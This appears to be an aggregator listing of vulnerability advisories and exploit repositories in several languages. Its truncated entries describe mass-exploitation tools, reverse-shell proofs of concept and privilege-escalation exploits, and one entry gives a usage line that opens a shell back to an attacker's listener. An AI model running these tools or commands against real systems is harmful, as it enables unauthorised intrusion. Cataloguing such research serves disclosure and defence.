NPM: shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

NPM: shell-quote: quote command injection via a line terminator in a token after a comment token vulnerability discovered by ? in WordPress Npm shell-quote versions = 1.8.4, 1.11.0...

GHSA-PQG4-J6R4-53MV shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

Impact quote emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input: js quote'echo', 'ok',...

CGIShell

CGIShell shellshock CVE-2014-6271 Эксплойт CGI Используйте как OpenSSH через CGI-страницу Использование python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Скриншот Зависимости Для Windows требуется pyreadline chardet не требуется Планы Добавить тестовые примеры Поддержка HTTP-логина...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro 대량 익스플로잇 Piotnet Addons for Elementor Pro ≤ 7.1.70에서 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행RCE 이 도구는 대량 익스플로잇 을 위해 설계되었습니다. 대상 목록을 입력하면 자동으로 다음 작업을 수행합니다: 플러그인 버전 감지또는 에셋이 발견되면 취약한 것으로 간주 postid, formid, 올바른 업로드 필드 이름을 추출하기 위한 고급 정찰 수행 여러 PHP 확장자.phtml,...

cisco-CVE-2023-20075

소개 보안 연구원: ly1g3, ly1g3attuta.io GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 개요: 로컬 권한 상승 및 셸 탈출 CVE: CVE-2023-20075 타임라인: 발견 - ly1g3 보고 - ly1g3 수정 - Cisco Cisco AsyncOS 14.2.0 ESA Cisco Secure Email 권한 상승 - cli에서 root 셸로 cli에 접근 권한이 있는 인증된 사용자는...

cisco-CVE-2023-20009

Обзор Исследователь безопасности: ly1g3, ly1g3attuta.io Отпечаток GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Обзор: Удаленное выполнение кода - RCE из конфигурационного файла CVE: CVE-2023-20009 Хронология: Обнаружено - ly1g3 Сообщено - ly1g3...

Mitigation-Apache-CVE-2021-41773-

Mitigation-CVE-2021-41773- Скрипт оболочки для смягчения CVE-2021-41773, уязвимости обхода пути и раскрытия файлов в Apache Установка wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git Использование Полное исправление и рекомендуемый способ смягчения уязвимости Этот скрипт...

CVE-2026-5426

CVE-2026-5426 ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Docker-контейнеры Изолированные лабораторные стенды Авторизованные среды тестирования на проникновение Пример настройки: git clone cd Пример...

CVE-2024-23346-rust-exploit

Скрипт эксплойта на Rust для CVE-2024-23346. Как показано ниже, POC использует уязвимость внедрения кода и выполняет удалённые команды оболочки, как в терминале. poc.webm Шаги для запуска эксплойта: Запустите напрямую с помощью Cargo cargo run -- --help cargo run -- --target http://10.10.11.38...

CVE-2026-41651

CVE-2026-41651 CVSS 3.x : 7.8 HIGH CWE : CWE-367 Time-of-Check Time-of-Use Fix : PackageKit 1.3.5+ Affects : PackageKit 1.0.2 – 1.3.4 Локальное повышение привилегий через гонку TOCTOU в D-Bus обработчике транзакций PackageKit. Любой непривилегированный локальный пользователь может установить...

CVE-2021-21425-RCE

это моя версия, я нашел много в интернете, но они слишком плохие ИСПОЛЬЗОВАНИЕ python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 ждать.. 60 секунд - вы получите shell на ваш listener...

CVE-2026-91097-CVE-2026-91106

🔬 Присоединяйтесь к Telegram для последних исследований уязвимостей и релизов эксплойтов HPLIP Printer Application — Неаутентифицированный захват администратора Инструмент массовой эксплуатации, нацеленный на HPLIP Printer Application веб-интерфейс на базе PAPPL во всех версиях HPLIP до 3.26.6...

cve-2023-6931-pipa

CVE-2023-6931 — Xiaomi Pad 6 pipa: повышение привилегий и отключение SELinux Финальная версия эксплойта, использованная на устройстве, выделена в этот каталог. Цель Устройство Xiaomi Pad 6 / pipa / SM8250 Система HyperOS OS2.0.20.0.UMZCNXM Ядро 4.19.157-perf-g240e1d0a5f52 Точка входа adb shell...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

metasploitable-pentest-report

Metasploitable 2 — Отчёт о тестировании на проникновение Дисклеймер: Данный тест на проникновение был проведён в частной изолированной лабораторной среде VMware исключительно в образовательных целях. Реальные системы не затрагивались. Все IP-адреса анонимизированы. Обзор Поле| Детали ---|---...

CVE-2017-9544

CVE-2017-9544 Эксплойт для переполнения буфера на основе SEH в Easy Chat Server CVE-2017-9544 Основан на: pwntools msfvenom / reversetcp payload ropper x64dbg Уязвимое приложение доступно по адресу https://www.exploit-db.com/exploits/42155 Настройка Установите IP жертвы 192.168.15.100 и запустите...

CVE-2026-26718

Описание Сводка Уязвимость подделки межсайтовых запросов CSRF присутствует в веб-приложении xxl-job-admin, что позволяет злоумышленнику выполнять несанкционированные изменения скриптов оболочки Glue IDE. Затрагиваемая конечная точка не выполняет надлежащей проверки CSRF-токена и принимает...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC с обратной оболочкой Концептуальный эксплоит PoC удаленного выполнения кода для CVE-2026-42945 , переполнение буфера в куче в модуле ngxhttprewritemodule NGINX. Этот форк дополняет публичный PoC-триггер встроенным слушателем обратной оболочки и настраиваемыми...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit Эксплойты были протестированы на 6.6.51 с использованием установки Qemu debian. exploit.c - утекает содержимое shadow-файла. exploitdc.c - демонстрирует метод двойного закрытия double close для получения root-оболочки. WRITEUP.md - описание, сгенерированное LLM. Это...

CVE-2025-39401

CVE-2025-39401 Плагин WordPress WPAMS Плагин WordPress WPAMS CVE: CVE-2025-39401 Базовая оценка: 10.0 КРИТИЧЕСКИЙ Уязвимость неограниченной загрузки файлов с опасным типом в mojoomla WPAMS позволяет злоумышленникам загрузить веб-шелл на сервер, что приводит к полной компрометации. Это затрагивает...